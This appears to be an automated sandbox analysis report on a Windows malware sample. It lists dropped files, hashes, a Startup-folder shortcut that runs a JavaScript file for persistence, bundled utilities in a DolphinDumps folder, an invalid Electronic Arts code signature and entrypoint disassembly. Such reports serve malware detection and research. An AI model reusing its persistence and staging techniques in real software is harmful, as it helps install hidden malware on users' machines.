SHA-512:	F44C298E6AAD646614C14260052D7327E0B1DB33F1212DF33F401179DC2EAD348312D9006C635EE71346FFB3BA692DD829941A9AC894C43EE3BE4C805DD8AD9E
Malicious:	false
Preview:	W0BdWUhfW0BVWUJVZmNucWdZQl1kaWRxZ1tCXVJldmVud21GZXZpYWdzLmd4ZSozW0hdMzIqW0Jd

C:\Users\user\AppData\Local\Temp\qhiwq

Download File

Process:	C:\Windows\SysWOW64\curl.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	4
Entropy (8bit):	2.0
Encrypted:	false
SSDEEP:	3:On:On
MD5:	C00C81FEDEF0B80B43CC1DB8DE50C00C
SHA1:	1AC21B1D5ACCB55CFA0ABBBCF57F836AADA49EE2
SHA-256:	A23C9F5563AD1C2019C59DDE6EB4FA3442C0B5BBF83A279854A3EE3987C51E7B
SHA-512:	869551F28FFE1BB9BA906EAA94D9C54FD2197215510DBF5A4F053F71A45C189A570F27920AC3688862E21043854319718B6E028D25A4E453FAAD9770EDE9C6D2
Malicious:	false
Preview:	bhlo

C:\Users\user\AppData\Local\Temp\sihmk

Download File

Process:	C:\Windows\SysWOW64\curl.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	4
Entropy (8bit):	2.0
Encrypted:	false
SSDEEP:	3:On:On
MD5:	C00C81FEDEF0B80B43CC1DB8DE50C00C
SHA1:	1AC21B1D5ACCB55CFA0ABBBCF57F836AADA49EE2
SHA-256:	A23C9F5563AD1C2019C59DDE6EB4FA3442C0B5BBF83A279854A3EE3987C51E7B
SHA-512:	869551F28FFE1BB9BA906EAA94D9C54FD2197215510DBF5A4F053F71A45C189A570F27920AC3688862E21043854319718B6E028D25A4E453FAAD9770EDE9C6D2
Malicious:	false
Preview:	bhlo

C:\Users\user\AppData\Local\Temp\sirxu

Download File

Process:	C:\Windows\SysWOW64\curl.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	4
Entropy (8bit):	2.0
Encrypted:	false
SSDEEP:	3:On:On
MD5:	C00C81FEDEF0B80B43CC1DB8DE50C00C
SHA1:	1AC21B1D5ACCB55CFA0ABBBCF57F836AADA49EE2
SHA-256:	A23C9F5563AD1C2019C59DDE6EB4FA3442C0B5BBF83A279854A3EE3987C51E7B
SHA-512:	869551F28FFE1BB9BA906EAA94D9C54FD2197215510DBF5A4F053F71A45C189A570F27920AC3688862E21043854319718B6E028D25A4E453FAAD9770EDE9C6D2
Malicious:	false
Preview:	bhlo

C:\Users\user\AppData\Local\Temp\slpug

Download File

Process:	C:\Windows\SysWOW64\curl.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	4
Entropy (8bit):	2.0
Encrypted:	false
SSDEEP:	3:On:On
MD5:	C00C81FEDEF0B80B43CC1DB8DE50C00C
SHA1:	1AC21B1D5ACCB55CFA0ABBBCF57F836AADA49EE2
SHA-256:	A23C9F5563AD1C2019C59DDE6EB4FA3442C0B5BBF83A279854A3EE3987C51E7B
SHA-512:	869551F28FFE1BB9BA906EAA94D9C54FD2197215510DBF5A4F053F71A45C189A570F27920AC3688862E21043854319718B6E028D25A4E453FAAD9770EDE9C6D2
Malicious:	false
Preview:	bhlo

C:\Users\user\AppData\Local\Temp\tlbry

Download File

Process:	C:\Windows\SysWOW64\curl.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	1813320
Entropy (8bit):	5.7074044081208415
Encrypted:	false
SSDEEP:	24576:WZZeX7tl1xw6JW3VrIS9GswjQGmToAnPDRPyccc9ntn5fS/Z76hMAX:ueDf0G875qqtnvWg
MD5:	2EAAE68CA44390605379C1973A83C343
SHA1:	4CE10B0C2717A631A53ACA5E9DAA7B0BF823C2E6
SHA-256:	1C8097E10CD7B6189A5E13E3B730E5E859675604EB8C459D7F7314D434CB9D8D
SHA-512:	CF365B466C2D8073B9DF3495428A8E0183BEC2D623372D4CFDFE58144E91B972C725B2C3430BC0D904D7CDD5E21C13F32AF9B2148E6ED5DA2EE9FF25994EA929
Malicious:	false
Preview:	VUVzRkpAUUFJQ0NBQUBqbkpHd096MVI3YVRHQkFBQkFBZUlLQUFBQ0wzcDZZUzVpYk96cS1ROTZGTFpUQUM1UlpDZkhjQXpzUWpYUUpVc21zOltHTGpCUEd6ZG9CcktiZ0VyW2tHUUZTZ0p2SlkwcmJfbVtBYWdpQmhbYE1waU1ZbCsyI3ZaU25VdmoyO0lVdnZYR1EjOHcyV3VpQ3VGUEZbXzFSa1dmZlVNTGdoQXVNfDg3Oys3b0w7bS03KS0xUGMvMVhAOFA6WG89LykpNzc3Nzd4emZsbHV3NWF4dG40RmBNZ0Q5Zjc3Z01qdjF4Y34vOmw1bmx1QW5admhBRGUzYlFpNU02I0dVfnpRc3R0VWZkenx6NDUzNHovbXZmenRiRTE3N3hsZTlJR1Y5ZG5eRXRkeWZobnc7aUZBNnd5L2owbCk5ZW5hUmN5UW8wVUBuMTExaWZMeGVmVG92Ly9mejo0N1RwNkZtUzl0OXIxMVBsRjlPKVNyKVJwTzBFNTVQQX5wUWJpZnJ8YVZPdXRkQ3FWXyc7NG4pbjFjTHo1bWtmYWJQbTIwVFZSMUopUUZNZG9QMEtmUTQ3NXp3M1dNOFoxYW5yPHBqTmZASDE2NG9mTkF9SjtYRzN6RXFGTU09VDZQQU5OT3lMbCtIZmpCRTpAUVY7VDBAdTVOa1BKeGNhS1d5Z34wYD5mKVZISnFHWkFscjtXRlFoSllIellvSnhBdGM1bFp2Njc4a0d6eHpFLWZ2LW9IMVJmR2wyRGRMc0xQSThYMTJkMWstcXN4QzJWWWpKcGJzaC91NnZTVCdoT0VkZ3BPKzF3Yk9aWn9sRWFNZDdBMnRFUGBpU015YXVyc2NrYkc6UHZFSmZAcnNTVHpdMG5zNjRMbDBDcEl8ZFYvOExwR280Z3cxbGhtZVdBZVU3YjRqZHZnYzVrTEQ2XWVZcj9oSDxYaE9qMVZ4dS0nI1Itb3RRbjJ0MjhmcFZ6WFVIWHFYQ1RB

C:\Users\user\AppData\Local\Temp\vuevs

Download File

Process:	C:\Windows\SysWOW64\curl.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	4
Entropy (8bit):	2.0
Encrypted:	false
SSDEEP:	3:On:On
MD5:	C00C81FEDEF0B80B43CC1DB8DE50C00C
SHA1:	1AC21B1D5ACCB55CFA0ABBBCF57F836AADA49EE2
SHA-256:	A23C9F5563AD1C2019C59DDE6EB4FA3442C0B5BBF83A279854A3EE3987C51E7B
SHA-512:	869551F28FFE1BB9BA906EAA94D9C54FD2197215510DBF5A4F053F71A45C189A570F27920AC3688862E21043854319718B6E028D25A4E453FAAD9770EDE9C6D2
Malicious:	false
Preview:	bhlo

C:\Users\user\AppData\Local\Temp\woejq

Download File

Process:	C:\Windows\SysWOW64\curl.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	4
Entropy (8bit):	2.0
Encrypted:	false
SSDEEP:	3:On:On
MD5:	C00C81FEDEF0B80B43CC1DB8DE50C00C
SHA1:	1AC21B1D5ACCB55CFA0ABBBCF57F836AADA49EE2
SHA-256:	A23C9F5563AD1C2019C59DDE6EB4FA3442C0B5BBF83A279854A3EE3987C51E7B
SHA-512:	869551F28FFE1BB9BA906EAA94D9C54FD2197215510DBF5A4F053F71A45C189A570F27920AC3688862E21043854319718B6E028D25A4E453FAAD9770EDE9C6D2
Malicious:	false
Preview:	bhlo

C:\Users\user\AppData\Local\Temp\xvway

Download File

Process:	C:\Windows\SysWOW64\curl.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	4
Entropy (8bit):	2.0
Encrypted:	false
SSDEEP:	3:On:On
MD5:	C00C81FEDEF0B80B43CC1DB8DE50C00C
SHA1:	1AC21B1D5ACCB55CFA0ABBBCF57F836AADA49EE2
SHA-256:	A23C9F5563AD1C2019C59DDE6EB4FA3442C0B5BBF83A279854A3EE3987C51E7B
SHA-512:	869551F28FFE1BB9BA906EAA94D9C54FD2197215510DBF5A4F053F71A45C189A570F27920AC3688862E21043854319718B6E028D25A4E453FAAD9770EDE9C6D2
Malicious:	false
Preview:	bhlo

C:\Users\user\AppData\Local\Temp\ypalg

Download File

Process:	C:\Windows\SysWOW64\curl.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	4
Entropy (8bit):	2.0
Encrypted:	false
SSDEEP:	3:On:On
MD5:	C00C81FEDEF0B80B43CC1DB8DE50C00C
SHA1:	1AC21B1D5ACCB55CFA0ABBBCF57F836AADA49EE2
SHA-256:	A23C9F5563AD1C2019C59DDE6EB4FA3442C0B5BBF83A279854A3EE3987C51E7B
SHA-512:	869551F28FFE1BB9BA906EAA94D9C54FD2197215510DBF5A4F053F71A45C189A570F27920AC3688862E21043854319718B6E028D25A4E453FAAD9770EDE9C6D2
Malicious:	false
Preview:	bhlo

C:\Users\user\AppData\Roaming\DolphinDumps\7za.dll

Download File

Process:	C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	256512
Entropy (8bit):	6.608077688435287
Encrypted:	false
SSDEEP:	3072:8xDDNhSGkz5e5cfll2+NkqXGJFGOm26C2zIvr1FnYzyrnJEYAAAAA+hIefckRQEH:R6Wl20LA4OBrn+NedRO7xn3T
MD5:	4CA574943165D792EFADFFFF193A5395
SHA1:	282C147DD34EC7BB7D5631EA25C69B656B3F1D62
SHA-256:	7F1E0EA1984AACAEE736F3082560D53F3E990B44D6E5D2B9ED38A148DE79A0FB
SHA-512:	5862E41F3FFA0EFCCFB040A878C6EF9E7E00BF8A153EB8AF1031FCC047179A8D744EAFC3232C64FCAD8E43664EBA40670A9E37DC34C0BD2FA033EABDEBD5F61A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........<U}.];..];..];.:A5..];..B0..];..B1..];..B?..];.7Ud..];..]:..];.:Uf..];..{0..];......];......];.~[=..];.F}?..];.Rich.];.........................PE..L...,.Y...........!.....J..........W5.......`...............................p.........................................z...L...d.... .......................@..4....................................................`...............................text....I.......J.................. ..`.rdata..JY...`...Z...N..............@..@.data....K..........................@....sxdata.............................@....rsrc........ ......................@..@.reloc...$...@...&..................@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\DolphinDumps\7za.exe

Download File

Process:	C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	690688
Entropy (8bit):	6.581619840895496
Encrypted:	false
SSDEEP:	12288:rmJysC11szmzqS/Vf3gny3MhcGsnWrfATfkeafIO3rn1ExwnZE1f:r9s/zmT/my8zoW6ff4rn1ExwZE
MD5:	0184E6EBE133EF41A8CC6EF98A263712
SHA1:	CB9F603E061AEF833A2DB501AA8BA6BA007D768E
SHA-256:	DD6D7AF00EF4CA89A319A230CDD094275C3A1D365807FE5B34133324BDAA0229
SHA-512:	6FEC04E7369858970063E94358AEC7FE872886B5EA440B4A11713B08511BA3EBE8F3D9312E32883B38BAE66E42BC8E208E11678C383A5AD0F7CC0ABE29C3A8ED
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........,"..Bq..Bq..Bq..Nq.Bq..Iq.BqB.Lq.Bq..Hq.Bq..Fq.BqO..q..Bq..CqN.BqB..q.Bq..Iqy.Bq...q.Bq...q.Bq..Dq..BqRich..Bq........................PE..L...+.Y........../......8...................P....@..........................@..............................................,...x....0..@............................................................................P..(............................text....7.......8.................. ..`.rdata...@...P...B...<..............@..@.data....r...........~..............@....sxdata...... ......................@....rsrc...@....0......................@..@........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\DolphinDumps\7zxa.dll

Download File

Process:	C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	147456
Entropy (8bit):	6.544226860164606
Encrypted:	false
SSDEEP:	3072:TYpNRok2PQFDTQQYvanxOokAAAAA+cQKiG3iral6W60b:ahFDTQdZG3zUW6
MD5:	4D183847804E733FB6A197E24272E870
SHA1:	11A11DEEE65803C75FFFB496F91494E6E1E4B7FC
SHA-256:	7F964A73D3BD666A494B6EB82AA984BC0B4E77172A78AA4BE786D9A578103224
SHA-512:	F60B02A16735BCD474838CA8854A1368A7EA157BA72A86823D5B3E1DD13EC26A9A92C458B5C554ED3DAFA594BF1F66BD9D42ABB70A6C097C076CEC1AD76BB1B5
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......jm.@................)...A...-...A......A...,......./...............)......h...5.;.!...5...,......./....,../...Rich............................PE..L.../.Y...........!....................................................................................................{...D...P....................................................................................................................text............................... ..`.rdata..;9.......:..................@..@.data....J... ......................@....sxdata......p......................@....rsrc...............................@..@.reloc..H............&..............@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\DolphinDumps\8CB16F

Download File

Process:	C:\Users\user\AppData\Local\Temp\768032\Finish.com
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	135
Entropy (8bit):	4.981570876728718
Encrypted:	false
SSDEEP:	3:Bwc5kVcWXXp18YL8sPS3GArKM5mRPUkh4E2J5xAIMGe4QdvvTA:OceuWXXQmvS3GArX5kP923ffe4GXTA
MD5:	A8C4BB76AA94DF0DF1ACC2E80931E9B4
SHA1:	2ED96C936A560043AEE7AA9A9D588262CDE412E6
SHA-256:	DE0028991BB5763CDB175C92C6E8795AB9E761DE3506F5936D2601667627FDB4
SHA-512:	C91BF919D1BA3A86287B86EBA7D3BB3355729579FACB97E0C79F4AFBD35003FE1135AABA081688CB333D2BFF5B85F64ECC46A4E6EFBF1B895ABD5353A2964584
Malicious:	false
Preview:	4CA966315CCC70F4BEF0FE322EDE46user066656truefalse00voidvoidC:\Users\user\AppData\Local\Temp\768032\Finish.comfalse1void

C:\Users\user\AppData\Roaming\DolphinDumps\PsInfo.exe

Download File

Process:	C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	313496
Entropy (8bit):	6.329253795498564
Encrypted:	false
SSDEEP:	3072:wGicIgBsA+8vctYpleMKZUFEd0iVcxWHYGsDJXU+l9koZUFvEjqcVtb5BR+pEz2D:rl0eXEdB4FdjSvYqWdM4hM
MD5:	624ADB0F45CBB9CADAD83C264DF98891
SHA1:	E839CE1E0446D8DA889935F411F0FB7AD54D4B3E
SHA-256:	8F401DC021E20FF3ABC64A2D346EF6A792A5643CA04FFD1F297E417532ACAA06
SHA-512:	B29B3A72CD32EE34EC6CE357818658B8A89C399E2F8439A7F49FB1A506ED912F41AFA19BC5C142C9A4539ACC5966A29C6A6637C23DE0DC3E5F2D85264620BDBA
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........p.Eq..Eq..Eq..H#..Tq..H#...q..H#..bq..L...Dq..L...Pq..Eq...q..8...Fq..8...Fq..H#..Dq..Eq..Dq..8...Dq..RichEq..........PE..L...Kp{W.........................................@..........................P.............................................0........`...................>..............................................@...............D...l...`....................text............................... ..`.rdata..............................@..@.data...............................@....rsrc........`......................@..@........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\DolphinDumps\PsInfo64.exe

Download File

Process:	C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	351904
Entropy (8bit):	6.077576126824556
Encrypted:	false
SSDEEP:	6144:0aNJZh5a45XRueuTI52O17cNq7tncFSsTTB8YS6SBjyxgg4Lf4fC:0aFi45z2ancFn/0jlJ
MD5:	EFA2F8F73B3559711149DFDEB8BC288E
SHA1:	453C70E4B12ECABE860866165AD39DE6361215FD
SHA-256:	EF5CF80C8448BF0907C634A3251CC348B1D36BB5AD8F31F23B11D12AA7F63BCB
SHA-512:	63F75A3D639A912E2E3966E9D410F8E1C52B75300518BB5083853EF2633C7E109C037EA2B66CED57BD5B319866A14BCD92254CB38AB9EC7B99465B0A8A8F5F3E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........~...~...~.../S..~.../l..~.../R..~....4..~.... ..~...~..!~....S..~....R..~...,h..~...~$..~....m..~..Rich.~..........................PE..d....o{W..........#.................p..........@.......................................... .................................................h........................ ...>..............................................p.......................`....................text.............................. ..`.rdata...-..........................@..@.data...@...........................@....pdata..............................@..@.rsrc............ ..................@..@................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\768032\Finish.com
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	167936
Entropy (8bit):	6.1797557233483955
Encrypted:	false
SSDEEP:	3072:IeAGcNNwmlR2GNUbomMYMLnbtoKOmiNL2SJOUOhop:CvNNtWuYcqHmiNLOc
MD5:	75375C22C72F1BEB76BEA39C22A1ED68
SHA1:	E1652B058195DB3F5F754B7AB430652AE04A50B8
SHA-256:	8D9B5190AACE52A1DB1AC73A65EE9999C329157C8E88F61A772433323D6B7A4A
SHA-512:	1B396E78E189185EEFB8C6058AA7E6DFE1B8F2DFF8BABFE4FFBEE93805467BF45760EEA6EFB8D9BB2040D0EAA56841D457B1976DCFE13ED67931ADE01419F55A
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........R.D.3...3...3...,...3...3...3.../...3.......3.../...3.......3..Rich.3..........................PE..L...P.#B............................xH............@.........................................................................07..P....................................................................................................................text............................... ..`.rdata...a.......p..................@..@.data....b...P...@...P..............@...........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\DolphinDumps\jvx

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	53
Entropy (8bit):	3.5007143226894013
Encrypted:	false
SSDEEP:	3:XrEIuqujyM1K8vF:Xrhurj1hF
MD5:	C16330B5345B80BA27AF8BFD4299904E
SHA1:	9F573E303431E956395DC09C510C445AE55EF7D7
SHA-256:	D6306F25B6B4CF4D6A82A4BBB691932AD74730EC3D9A4C2D5EC90B1574D4BAFE
SHA-512:	173F20932FAF91348AE1B26BC99DFFD4B438B6868921E5B5352FB1B513382203E49643DD2129B7365D570159DADF108440141D4D77193C1C6108A2140B9CE3F6
Malicious:	false
Preview:	OS Name: Microsoft Windows 10 Pro..

C:\Users\user\AppData\Roaming\DolphinDumps\nircmdc.exe

Download File

Process:	C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows, UPX compressed
Category:	modified
Size (bytes):	44544
Entropy (8bit):	7.766110456396969
Encrypted:	false
SSDEEP:	768:UF24SNifq4YWc5uEvW7KrQaFzs4C9B18sEufqnYIG0y8XmEsYR2fWIrKiSU:UMNG9c5jfQ8XoB18FufVIG092lWAKiSU
MD5:	0E69B6BD18E064C83A11B48495C1B01E
SHA1:	21C4CC08D3600C564BD0D04C8553E59F564BFFF4
SHA-256:	67E0D635825CBF7CC213670F671544DA9FF18047742DD4A0696A508B79EEF607
SHA-512:	E7C9B9209359183ADE3502AD9C8807B7948D38FD0EF883655DECEF2E5F212BE646A0E3FD93B51988595511B979C669DEE8F9F2A3BA90A4B0CECF0423FF2D3F51
Malicious:	false
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 5%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........6...W...W...W..=X..W...t...W..$t...W...t...W..=X..W...W...V.....W......W......W..Rich.W..........................PE..L....'C].........................................@.................................................................................................................................................................................................UPX0....................................UPX1................................@....rsrc...............................@......................................................................................................................................................................................................................................................................................................................................................................................3.03.UPX!....

C:\Users\user\AppData\Roaming\DolphinDumps\xhwq.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\768032\Finish.com
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	1019991
Entropy (8bit):	7.9981268397514125
Encrypted:	true
SSDEEP:	24576:I8QnhcAisyibvw8QJTTRz+oH7OgXwWpiubynw7ynLbzCQ:Itns7GY1XSsOQfE/7bzCQ
MD5:	9E73FB50D37E37EE8BD19A8E3D2B82CA
SHA1:	3DB1C548E86E4BB7457324A3097B05DA15B7FFC3
SHA-256:	68BA7122EE8D9CE34ED94B6036A171CE38D6D9D9B3A609C2F4DE773F4DD40D5C
SHA-512:	B41209300F018103B0F8A4DE0537F348A3BDFCBC8FEB19E7FEC6634B06C266CC442145FD2D9230F827F273B0D07BB6BBCAB7A0F0E9E1F558E6DD7A076F568094
Malicious:	true
Preview:	PK.........e.K...yq1...@......7zxa.dll...x......d'.,.b.X%j....5.Q.7.....l.d.B.m%.)mi...$.6.2..b_...R}k[....FK...l"..O...FE.uC...02.9.../.?...=..<.......{...k.g.8N.?]....sr.....)W.0.{v.k.:.E....g]....~..k.......J.__.Q/.'..d......w.^}...).X.u..7..N........Y...i.....J........i.mi30..Mo.........i...D.GR~@.....}.....X......E\|.w.,...q7.J.0.U...,....<..}O`p.'...L..f..........PT.%..b`s..;..............\|I......<?}%./.06M......I_.8G^.....g.Fp.y.K.=..3&..$.O..a....V.6..8.]..._W...j:..g....9o._....R.+.2x^3!.<.......kv..S.u.f..L.m.......3....=....d.S....Q...~..........A..`...._f?.We.U6.H..D6...dk...4.Z....Q-...............a...^^...uTr...O:x'......uh.)..>"...f.S.l.Rb.}f.m..c.0%Yd...x.W...\....u..^....WZ..z......t+..{.....D....s.ne2....GN.qa.p..7.kD..5......v.C......~.k...f]6....P..%#.%.z.$E.!..>....#.. ......g..YH..7U.0..W.).S............^"..([.g.)d....iWc...j.w'....F.'s...M."..={.{s<........}.3..s).\|........\~.T..-k..V~....n......

C:\Users\user\AppData\Roaming\DolphinDumps\zip.exe

Download File

Process:	C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	135168
Entropy (8bit):	6.567755066270725
Encrypted:	false
SSDEEP:	3072:8yiIL2aUStYI4kOojhmlDUaKhVV4dD+mO3teRl:k2bukOkhK4aKhVV/
MD5:	83AF340778E7C353B9A2D2A788C3A13A
SHA1:	55C5A72010291FCA2275CCFB5B497DD0BAC11A60
SHA-256:	E9929598C98359773B7C51E3C4461D0F99B1703790FF775AEE3C63A9A9A74CA8
SHA-512:	FCC810D84BFE8876123757B5E7BBBB571D7FBF3B3068B81215BDECFD0742AC94EDEEF5589277A67C40693D1182676604BC0E2F2610421AC138C59750E1CFED86
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......}.1.9._.9._.9._....;._.*.6.(._.<.?.;._.<.P./._.`.L.:._.9.^.W._.Z.u.;._.<...._.<...8._.Rich9._.................PE..L......D.....................P....................@.........................................................................8...<....................................................................................................................text...A........................... ..`.rdata...[.......`..................@..@.data...D...........................@...........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InnoSphere.url

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	MS Windows 95 Internet shortcut text (URL=<"C:\Users\user\AppData\Local\InnoSphere Dynamics\InnoSphere.js" >), ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	95
Entropy (8bit):	4.7820803208151075
Encrypted:	false
SSDEEP:	3:HRAbABGQaFyw3pYoUkh4E2J5sxELJSfy:HRYF5yjo923sqLcfy
MD5:	5E8D923D4B4B2FC77F024FD715072BFA
SHA1:	A97801909E10436749DF0E5CCF37310D761E7165
SHA-256:	53A5C332207B1E0556F1B123D6778F8B9A4DA66DA3B99C1235823D98DF1CE94E
SHA-512:	991088D786F1F14F93C9F3AD1D636BDF95829A5286C94B8C9F78AF3E5BF8724C9938BB089B3A2189E3F8F9D82E7B4AA81A1D0D2D11CA3BBE8325B0EA0383DF68
Malicious:	true
Preview:	[InternetShortcut] ..URL="C:\Users\user\AppData\Local\InnoSphere Dynamics\InnoSphere.js" ..

\Device\ConDrv

Download File

Process:	C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	293
Entropy (8bit):	3.479129918610545
Encrypted:	false
SSDEEP:	6:esaSfLq2ANq2XCNq28gSNq2LwcNq2L+V0Nq2+BSNq2SWXLXS:6Szq20q2Xiq2TSq20Aq2eYq2QSq2/7S
MD5:	8FCA86EBFED803CF311D9FCC42835C2E
SHA1:	36B77381AD0DE20CD1BDFA45695954314CB3D19F
SHA-256:	0D11AA28844832C1BDEF3AA868FC514E72E92CF1B740AFC467AD5692A0A8BDC1
SHA-512:	078D144DC41383E933587BDB428702EFDD3D796118AE1559B84750207C8909BA5D554FF7321EFD3002439660ADA43CF7544370682B5150A7C597286751B3D529
Malicious:	false
Preview:	Archive: xhwq.zip.. inflating: 7zxa.dll .. inflating: 7za.dll .. inflating: 7za.exe .. inflating: PsInfo.exe .. inflating: PsInfo64.exe .. inflating: zip.exe .. inflating: nircmdc.exe ..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.971581603254859
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'245'183 bytes
MD5:	c938c02a19091a3acd044001631692c8
SHA1:	681e661b16ae2bebce2ef18facb86de6fd727cae
SHA256:	e090769b89bee3e8ab4a316355fab8da61f629b0eee9da37c0ac312bdc20aad8
SHA512:	96b27123ff6e7db9202d82557dfbf13d941741b7c96ce9e757cacd95c80e761fc750998712f2638c70e06768f802e92524b1f3d09c92f97230673d283b1766a1
SSDEEP:	24576:OYY2DPYW2HJbxcraPMB4/46ft6BM8I7oRCL7piz5nWXXCXk75Fh:d5DgWscOPe6ft61RRGwn4Xykh
TLSH:	95453345C2BC7C19CD830FF529714A455FB2B425012097932AA59E3EEEA0B06FBB8777
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......A{.k...8...8...8.b<8...8.b,8...8...8...8...8...8..%8...8.."8...8Rich...8........PE..L.....GO.................t.......B...8.....

File Icon


Icon Hash:	e1e0e4e8c0e0f0e0

Static PE Info

General

Entrypoint:	0x4038af
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x4F47E2E4 [Fri Feb 24 19:20:04 2012 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	be41bf7b8cc010b614bd36bbca606973

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1, O="DigiCert, Inc.", C=US
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	04/05/2023 02:00:00 07/05/2026 01:59:59
Subject Chain	CN="Electronic Arts, Inc.", OU=EAC, O="Electronic Arts, Inc.", L=Redwood City, S=CALIFORNIA, C=US
Version:	3
Thumbprint MD5:	33BD4710688F5874BAC612E52BCCEEA8
Thumbprint SHA-1:	A46E87AEBD8693AE8B3B2F26449F8828368B4D4F
Thumbprint SHA-256:	0F952F3F6AF7C5B1FE753761AD34E2C360930EF530EB6A753AB461046F79C049
Serial:	0671352DC4C103B70AE725E954486374

Entrypoint Preview

Instruction
sub esp, 000002D4h
push ebx
push ebp
push esi
push edi
push 00000020h
xor ebp, ebp
pop esi
mov dword ptr [esp+18h], ebp
mov dword ptr [esp+10h], 0040A268h
mov dword ptr [esp+14h], ebp
call dword ptr [00409030h]
push 00008001h
call dword ptr [004090B4h]
push ebp
call dword ptr [004092C0h]
push 00000008h
mov dword ptr [0047EB98h], eax
call 00007F7274F8F12Bh
push ebp
push 000002B4h
mov dword ptr [0047EAB0h], eax
lea eax, dword ptr [esp+38h]
push eax
push ebp
push 0040A264h
call dword ptr [00409184h]
push 0040A24Ch
push 00476AA0h
call 00007F7274F8EE0Dh
call dword ptr [004090B0h]
push eax
mov edi, 004CF0A0h
push edi
call 00007F7274F8EDFBh
push ebp
call dword ptr [00409134h]
cmp word ptr [004CF0A0h], 0022h
mov dword ptr [0047EAB8h], eax
mov eax, edi
jne 00007F7274F8C6FAh
push 00000022h
pop esi
mov eax, 004CF0A2h
push esi
push eax
call 00007F7274F8EAD1h
push eax
call dword ptr [00409260h]
mov esi, eax
mov dword ptr [esp+1Ch], esi
jmp 00007F7274F8C783h
push 00000020h
pop ebx
cmp ax, bx
jne 00007F7274F8C6FAh
